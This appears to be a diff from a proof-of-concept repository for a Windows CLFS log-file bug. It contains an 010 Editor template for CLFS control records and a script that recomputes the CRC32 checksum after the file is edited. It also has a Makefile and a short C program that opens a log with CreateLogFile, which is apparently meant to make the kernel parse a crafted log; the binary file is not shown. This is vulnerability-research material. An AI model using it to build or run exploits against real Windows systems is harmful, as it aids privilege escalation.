USHORT iExtendBlock;
USHORT iFlushBlock;
ULONG cNewBlockSectors;
ULONG cExtendStartSectors;
ULONG cExtendSectors;
CLFS_TRUNCATE_CONTEXT cxTruncate;
USHORT cBlocks;
USHORT cReserved;
ULONG cReserved;
CLFS_METADATA_BLOCK rgBlocks[cBlocks];
} CLFS_CONTROL_RECORD;
CLFS_RECORD_HEADER CRRecordHeader;
CLFS_CONTROL_RECORD ControlRecord;
FSeek(0x400);
CLFS_RECORD_HEADER CRSRecordHeader;
CLFS_CONTROL_RECORD ControlRecordShadow;
FSeek(0x800);
CLFS_RECORD_HEADER GRecordHeader;

View File

@ -0,0 +1,13 @@
//------------------------------------------------
//--- 010 Editor v12.0.1 Script File
//
// File:
// Authors:
// Version:
// Purpose:
// Category:
// History:
//------------------------------------------------
CRRecordHeader.Checksum = 0;
uint checksum = Checksum(CHECKSUM_CRC32,0,0x400,0xEDB88320,0xFFFFFFFF);
CRRecordHeader.Checksum = checksum;

View File

@ -0,0 +1,3 @@
# Assumes MinGW is installed
all: poc.c
gcc poc.c -o poc.exe -lClfsw32

View File

@ -0,0 +1,17 @@
#include <windows.h>
#include <stdio.h>
#include <clfsw32.h>
int main(int argc, char** argv) {
HANDLE logHndl = CreateLogFile(L"LOG:test_log",
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
0);
CloseHandle(logHndl);
return 0;
}

Binary file not shown.